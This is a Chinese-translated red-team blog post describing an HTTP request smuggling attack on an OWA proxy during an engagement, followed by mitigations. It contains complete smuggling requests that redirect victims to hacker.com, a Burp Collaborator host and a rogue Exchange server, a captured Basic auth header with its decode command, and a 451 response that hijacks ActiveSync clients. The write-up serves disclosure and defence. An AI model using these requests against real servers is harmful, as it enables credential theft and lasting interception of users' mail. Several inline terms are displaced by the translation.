允许您永久访问 Exchange 客户端凭据的漏洞。
利用面向公众的服务是在网络中获得初始立足点的众多方法之一。在野外看到这种情况并不少见。已知各种攻击者会滥用漏洞,例如缓冲区溢出 (G0098)、SQL 注入 (G0087) 或其他具有功能漏洞利用代码 (G0016) 的(已知)漏洞。
作为一个红队,我们的任务是模拟这些对手。红队参与是对对手的真实模拟,符合客户的威胁概况。在模拟过程中,我们尝试使用已知对手使用的技术来访问客户的皇冠上的宝石。请注意,这些技术不仅限于滥用技术漏洞,还包括业务(例如密码策略)和行为(例如社会工程)方面。红队参与可用于培训蓝队检测和应对类似攻击,以及检查网络弹性客户如何抵御这些攻击。
本博客介绍了我们在一次活动中发现的 HTTP 请求走私 (HRS) 漏洞。它可用于模拟利用面向公众的服务,同时在客户网络中获得初步立足点。在我们的例子中,它允许我们收集用于登录Outlook Web Access(OWA)以查看敏感数据的Active Directory凭据。
之后,这篇博客文章将继续介绍如何通过将客户端迁移到恶意的中间人 Exchange 服务器来获得对 OWA 的持久访问。
HTTP 请求走私
HTTP请求走私(HRS)漏洞现在非常普遍。2005年,CGISecurity发布了一份白皮书(链接),详细介绍了漏洞是如何产生的,它可能造成什么以及如何缓解它。如果您不确定HRS是如何工作的,我强烈建议您阅读白皮书或PortSwigger关于HRS的博客文章(链接),以熟悉自己。简而言之,当网络服务器和代理可以不同步时,就会出现 HRS。威胁参与者可以发送的请求,该请求在前端服务器中的解释方式与后端服务器中的解释不同。例如,威胁参与者发送一个特制请求,前端服务器将该请求解释为 1 个请求,但后端服务器将其解释为 2 个请求。因此,第二个请求被“偷运”到前端服务器,最终到达后端服务器。然后,该请求的响应将提供给下一个访问者,正如PortSwigger的James Kettle所描述的那样,正如PortSwigger的James Kettle所描述的那样(链接)。
滥用HRS会极大地影响系统的机密性,完整性和可用性。正如在负责任的披露(链接)中发布的那样,Evan Custodio能够通过滥用HRS窃取cookie来接管Slack帐户。其他示例包括 New Relic 上的凭据盗窃(链接)和美国国防部基础设施上的用户重定向(链接)。
在我们的案例中,HRS允许我们收集Active Directory凭据,这在下面的攻击叙述中进行了描述。这个攻击叙事包括从零到英雄的整个路径,就像我们在交战中滥用它一样。
攻击叙事
识别代理基础结构
在与一位客户合作期间,我们的目标是通过渗透他们的数字基础设施来获得初步立足点。由于自动扫描没有产生结果,我们很快转向手动研究。各种服务,包括Outlook Web Access(OWA),在使用GoBuster工具(链接)暴力强制子域时被识别出来。正在使用的单词列表由@bitquark生成,包含 100.000 个最常用的子域。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ gobuster dns -d customer.com -i -w ~/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --wildcard =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Domain: customer.com [+] Threads: 10 [+] Show IPs: true [+] Wildcard forced: true [+] Timeout: 1s [+] Wordlist: ~/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt =============================================================== 1337/07/16 15:30:59 Starting gobuster in DNS enumeration mode =============================================================== Found: dev.customer.com [153.92.999.999] Found: www.customer.com [80.148.999.999] Found: owa.customer.com [86.213.999.999] <-- Outlook Web Access (OWA) -- snip -- |
在检查这些服务时,我们发现我们正在与代理通信。有几种方法可以检测服务是否在代理后面运行。Web 应用程序的常用技术是将以下请求发送到应用程序,该请求在请求的第一行中包含另一个 URI。
请求:
1 2 3 |
<strong>GET</strong> https://actually-request-this-site.com/ HTTP/1.1 <strong>Host</strong>: owa.customer.com <strong>User-Agent</strong>: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4 |
常规 Web 服务器将生成“421 错误请求”响应。下面包括一个示例。
响应:
1 2 3 4 5 6 7 8 |
HTTP/1.1 421 Misdirected Request <strong>Server</strong>: Apache <strong>Content-Length</strong>: 322 <strong>Content-Type</strong>: text/html; charset=iso-8859-1 -- snip -- <p>The client needs a new connection for this request as the requested host name does not match the Server Name Indication (SNI) in use for this connection.</p> -- snip -- |
但是,当我们对 运行此命令时,服务器返回了以下响应,一个 .当时,我个人认为这种重定向是HTTP代理的典型行为。但是,后来我发现它应该是一个或实际的响应体,如 RFC7230(链接)中所述。owa.customer.com
302 Moved Temporarily
200 OK
203 Non-Authoritative Information
响应:
1 2 3 4 5 |
HTTP/1.1 302 Moved Temporarily Location: https://actually-request-this-site.com/owa/ Server: server1 X-FEServer: US-EXCH-008 -- snip -- |
但是,确实显示正在使用的代理是标头,具有 as 值。这是 Microsoft IIS 服务器的非默认值。默认情况下,该值为 (或其他版本)。这表明代理很可能更改了响应。Server
server1
Microsoft-IIS/8.5
现在我们有了代理的指示,我们可以继续检查它是否容易受到 HRS 的攻击。owa.customer.com
识别易受攻击的代理设置
考虑到James Kettle的研究,我们着手调查这种设置是否容易受到HRS的影响。为了确定是否容易受到 HRS 的攻击,我们发送了以下请求。owa.customer.com
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<strong>POST</strong> /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1 <strong> Transfer-Encoding</strong>: chunked <strong>Connection</strong>: keep-alive <strong>Host</strong>: owa.customer.com <strong>User-Agent</strong>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0 <strong>Accept</strong>: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 <strong>Accept-Language</strong>: nl,en-US;q=0.7,en;q=0.3 <strong>Accept-Encoding</strong>: gzip, deflate <strong>Upgrade-Insecure-Requests</strong>: 1 <strong>Content-Type</strong>: application/x-www-form-urlencoded <strong>Content-Length</strong>: 124 44 6kqfa=x&url=https%3a%2f%2fowa.customer.com%2fowa%2f&reason=0&whfto=x 0 GET https://hacker.com/ HTTP/1.0 X-Ignore: 1 |
此请求的 a 为 124,即整个正文。它将被发布到代理,代理将使用它来确定正文的长度为 124 字节。然后将请求转发到实际的 OWA 服务。Content-Length
如果此设置容易受到 HRS 的攻击,则 OWA 会以不同的方式处理请求(使用分块编码而不是使用内容长度)。分块编码允许客户端在正文中发送数据块。在本例中,有一个数据块。这从十六进制开始,如果转换为十进制。这是块体的长度,可以在下一行看到。在 68 个字符之后,请求以大小的块终止。这是 OWA 接受的正常请求。44
68
0
但是,端接后的零件将保持未处理状态。OWA 服务会将其视为代理(可能来自其他用户)发送的下一个请求的一部分。
这也可以反过来工作(如果代理使用分块编码,而 OWA 使用内容长度)。基础设施可以通过多种方式容易受到 HRS 的攻击。所有这些方法都在PortSwigger的博客(链接)中进行了描述。实际上,我们使用的真正技巧是在传输编码标头之前插入了一个空格; .代理无法解析它,并使用 来确定正文长度。但是,OWA 能够解析它并使用标头来确定正文长度。Transfer-Encoding: chunked
Content-Length
Transfer-Encoding
当我们执行上面的请求时,我们从服务器得到了以下响应。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
HTTP/1.1 200 OK <strong>Cache-Control</strong>: no-cache, no-store <strong>Pragma</strong>: no-cache <strong>Content-Type</strong>: text/html; charset=utf-8 <strong>Expires</strong>: -1 <strong>Server</strong>: server1 <strong>request-id</strong>: 59b59708-3551-44ec-8e05-1e8be2e11859 <strong>Set-Cookie</strong>: ClientId=MMEESFDUOFIVCMQNW; expires=Wed, 30-Mar-2022 20:57:55 GMT; path=/; HttpOnly <strong>X-Frame-Options</strong>: SAMEORIGIN <strong>X-AspNet-Version</strong>: 4.0.30319 <strong>X-Powered-By</strong>: ASP.NET <strong>Date</strong>: Tue, 30 Mar 2021 20:57:54 GMT <strong>Content-Length</strong>: 28032 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- Copyright (c) 2011 Microsoft Corporation. All rights reserved. --> <!-- OwaPage = ASP.auth_logon_aspx --> -- snip -- |
可以看出,响应状态为 ,这意味着我们的请求是有效的,并且服务器返回了有效的响应。起初,我认为这意味着它不会解释我们身体的第二部分,因为它会产生反应状态。我认为代理/ OWA设置很可能容易受到攻击。然而,经过进一步的研究,结果发现OWA接受任何任意的POST数据。200 OK
400 Bad Request
一种更确定的验证方法是在请求正文的第二部分中检查其他用户是否收到了对我们请求的响应。由于我们身体第二部分的请求通常返回 ,现在应该将另一个用户重定向到域,因为该用户获得了重定向作为对其请求的响应。为了验证这一点,我们检查了 的访问日志。它的重要部分已包括在下面。301 Moved Permanently
hacker.com
hacker.com
1 2 |
root@hacker:/home/tijme# tail -f /var/log/apache2/other_vhosts_access.log hacker.com:443 52.12.999.999 - - [19/Dec/2091:12:09:29 +0200] "OPTIONS /Microsoft-Server-ActiveSync?Cmd=Options&User=alice@customer.com&DeviceId=e1568c571e684e0fb1724da85d215dc0&DeviceType=Outlook HTTP/1.1" 200 3473 "-" "Outlook-iOS-Android/1.0" |
事实上,事实证明它是脆弱的!其中一个用户被重定向到我们的域,这表明 HRS 请求已成功执行。hacker.com
看着访问日志,我认为发生了一些有趣的事情。在我看来,受害者实际上应该向 的根或端点发出请求,而不是向端点发出请求(因为它被重定向了)。但是,在查看 RFC7231(链接)后,很明显,接收 的客户端可以为后续请求维护其请求方法和正文,就像 (其中客户端需要维护请求方法和正文)一样。GET
/owa
hacker.com
OPTIONS
Microsoft-Server-ActiveSync
301 Moved Permanently
308 Permanent Redirect
总而言之,这意味着有可能从用户那里获取更多信息,我们将在下一章中介绍。
获得态势感知
如 的访问日志所示,受害者尝试使用 执行同步操作。ActiveSync(链接)是一种HTTP协议,它使用户能够从Exchange服务器下载邮件,而不是使用OWA,OWA仅允许用户在Web客户端中查看邮件。hacker.com
Microsoft-Server-ActiveSync
可以在各种邮件客户端中配置ActiveSync,例如Apple Mail(链接)。从Apple连接到ActiveSync端点的手册中可以看出,用户必须提供服务器,域,用户名和密码。这些详细信息很可能会通过 HTTP 请求发送到服务器。无论是在配置期间还是在每个请求中。
何时将凭据发送到服务器实际上取决于在 Exchange 中配置的身份验证类型。常见的身份验证类型是“新式身份验证”(链接),它使用 SAML 协议,因此在使用用户名和密码进行初始身份验证后生成身份验证令牌。身份验证类型“基本身份验证”(链接)是一种通过在每个 HTTP 请求中发送用户名和密码(base64 编码)进行身份验证的方法。
你开始兴奋了吗?如果 Exchange 服务器配置为将 ActiveSync 与基本身份验证配合使用,则用户在每个 HTTP 请求中都会发送用户名和密码。由于我们能够执行 HRS,我们也许能够拦截这些凭据!
收获和(滥用)使用凭据
我们目前知道,成功的 HRS 攻击可以将受害者重定向到流氓服务器,邮件客户端维护请求方法,很可能还会维护标头和正文,并且我们知道受害者在每个 ActiveSync 请求中都发送了他们的 base64 编码凭据。这意味着我们距离捕获这些凭据只有一步之遥。
在我们的流氓服务器上捕获请求标头可以通过多种方式完成。对于这个概念验证,我选择使用Burp Collaborator(链接),它充当HTTP和其他各种协议的所有服务器。
我更改了初始 HRS 请求,将受害者重定向到我的打嗝协作者 URI 而不是 .最终请求包含在下面hacker.com
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<strong>POST</strong> /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1 <strong> Transfer-Encoding</strong>: chunked <strong>Connection</strong>: keep-alive <strong>Host</strong>: owa.customer.com <strong>User-Agent</strong>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0 <strong>Accept</strong>: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 <strong>Accept-Language</strong>: nl,en-US;q=0.7,en;q=0.3 <strong>Accept-Encoding</strong>: gzip, deflate <strong>Upgrade-Insecure-Requests</strong>: 1 <strong>Content-Type</strong>: application/x-www-form-urlencoded <strong>Content-Length</strong>: 165 44 6kqfa=x&url=https%3a%2f%2fowa.customer.com%2fowa%2f&reason=0&whfto=x 0 GET https://xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.net/ HTTP/1.1 X-Ignore: 1 |
片刻之后,正如预期的那样,Burp Collaborator 捕获了来自受害者?的 ActiveSync 请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /Microsoft-Server-ActiveSync?User=bob@customer.com&DeviceId=e1568c571e684e0fb1724da85d215dc0&DeviceType=iPhone&Cmd=FolderSync Host: xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.net Content-Type: application/vnd.ms-sync.wbxml Accept: */* Accept-Language: nl-nl Accept-Encoding: gzip, deflate, br Connection: keep-alive MS-ASProtocolVersion: 14.1 User-Agent: Apple-iPhone11C8/1804.70 Authorization: Basic Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIy Content-Lengh: 13 X-MS-PolicyKey: 0 jVR0 |
我们已经成功捕获了包含受害者编码凭据的授权标头。
1 2 |
$ echo Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIy | base64 -D customer.com\bob:hunter2 |
HRS 攻击如下图所示。
将受害者的邮箱永久迁移到我们的流氓交换服务器
未记录的功能
作为一个红队,我们想更深入地研究这一发现可能产生的影响。出于这个原因,我们从威胁行为者的角度寻找了进一步的选择,其中最值得注意的是永久访问受害者的凭据。事实证明,ActiveSync 具有一项“功能”,如果用户的邮箱从本地迁移到 Office365(链接),则自动更新邮件客户端的配置。此功能的工作方式如下(如视觉对象所示)。
- 客户端尝试通过 HTTP 动态同步协议检索邮件。
- Exchange 检查用户的邮箱是否存在或是否已迁移到 Office365。
- DC 返回找不到邮箱(这意味着它已迁移)。
- Exchange 尝试获取域(邮箱所在的位置)的 TargetOWAURL。
- DC 返回 TargetOWAURL(在本例中为 outlook.office365.com)。
- Exchange 通过重定向到 TargetOWAURL 的 HTTP 451 来响应客户端。
- 客户端将 TargetOWAURL 用于所有将来的请求。
- 对 TargetOWAURL 的 HTTP ActiveSync 请求成功。
因此,总而言之,如果 Exchange 服务器与标头结合使用 a 进行响应,则受害者 Exchange 服务器配置会相应地更新。下面包括此类响应的示例。451 Unavailable For Legal Reasons
X-MS-Location
1 2 3 4 |
HTTP/1.1 451 Unavailable For Legal Reasons <strong>Date</strong>: Thu, 12 Mar 2009 20:16:22 GMT <strong>X-MS-Location</strong>: https://mail.contoso.com/Microsoft-Server-ActiveSync <strong>Content-Length</strong>: 0 |
但是,使用我们的HRS攻击,不可能为受害者生成一个。只能生成 ,因为这是将 URI 添加到 GET 请求的第一行时的响应。但是,我们可以使用 将受害者重定向到我们的流氓服务器,该服务器随后会响应流氓交换服务器。如果我们确保流氓交换服务器只是合法环境的代理,我们可以永久地将所有受害者的 ActiveSync 请求置于中间人,而受害者不会注意到任何事情。攻击演示如下。451 Unavailable For Legal Reasons
301 Moved Permanently
301 Moved Permanently
451 Unavailable For Legal Reasons
将受害者的邮箱迁移到我们的流氓交易所
为了证明上述理论有效,我们将“受害者”(tgad.local\bob)连接到我们的演示环境;代理后面的 Exchange 服务器。Bob 使用 ActiveSync 进行连接。他的iOS Exchange配置包含在下面。tgvmex01.local
想要将 Bob 的邮箱迁移到恶意交换服务器的威胁参与者需要首先执行 HRS 攻击,该攻击将 Bob 的 ActiveSync 请求重定向到恶意服务器。下面包括一个示例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<strong>POST</strong> /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1 <strong> Transfer-Encoding</strong>: chunked <strong>Connection</strong>: keep-alive <strong>Host</strong>: tgvmex01.proxy <strong>User-Agent</strong>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0 <strong>Accept</strong>: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 <strong>Accept-Language</strong>: nl,en-US;q=0.7,en;q=0.3 <strong>Accept-Encoding</strong>: gzip, deflate <strong>Upgrade-Insecure-Requests</strong>: 1 <strong>Content-Type</strong>: application/x-www-form-urlencoded <strong>Content-Length</strong>: 160 3F 6kqfa=x&url=https%3a%2ftgvmex01.proxy%2fowa%2f&reason=0&whfto=x 0 GET https://rogue-server.remote/ HTTP/1.1 X-Ignore: X |
无论请求是什么,服务器始终提供相同的响应。此响应包含在下面,并在响应标头中具有恶意交换服务器的状态。rogue-server.com
451 Unavailable For Legal Reasons
1 2 3 4 5 6 7 |
HTTP/1.1 451 Unavailable For Legal Reasons <strong>Date</strong>: Thu, 08 Apr 2021 18:14:22 GMT <strong>Server</strong>: Apache/2.4.46 (Debian) <strong>X-MS-Location</strong>: https://rogue-exchange.remote/ <strong>Content-Length</strong>: 0 <strong>Connection</strong>: close <strong>Content-Type</strong>: text/html; charset=UTF-8 |
当 Bob 成为 HRS 攻击的受害者时,他将收到流氓服务器的响应。Bob 的电子邮件客户端会将服务器地址更改为 ,因为响应指示邮箱已迁移到此恶意交换。451 Unavailable For Legal Reasons
rogue-exchange.remote
这次攻击的前几次尝试都没有奏效。但是在连续尝试了几次之后,HRS攻击最终触发了Bob的同步请求,导致Bob的邮件客户端将配置更改为流氓交换,如下面的Bob的Exchange设置所示。
胜利?!由于流氓交易所将所有请求代理到合法交易所,Bob 不会注意到恶意配置更改(除非他查看他的 Exchange 设置)。作为威胁参与者,我们现在能够拦截他的所有 ActiveSync 请求,即使在 Bob 更改其凭据后也是如此。
缓解
存在针对 HRS 漏洞的多种缓解措施。在理想情况下,代理服务器和后端服务器(在本例中为 Exchange)完全按照 RFC7231(链接)中所述解释 HTTP 请求。这将防止HRS漏洞,因为两个服务器以相同的方式解释HTTP请求的边界。
然而,我们并不是生活在理想的世界中。更好的缓解措施是在代理和后端之间禁用(性能优化),以便通过单独的网络连接发送每个请求。此外,可以通过强制从代理到后端的 HTTP/2 连接来缓解 HRS,因为此版本的 HTTP 协议中不会出现 HRS 漏洞。http-reuse
最后,我们强烈建议不要使用基本身份验证作为 Exchange 的身份验证方法。请改用新式身份验证(链接)。使用新式身份验证,威胁参与者“只能”拦截 oAuth 令牌。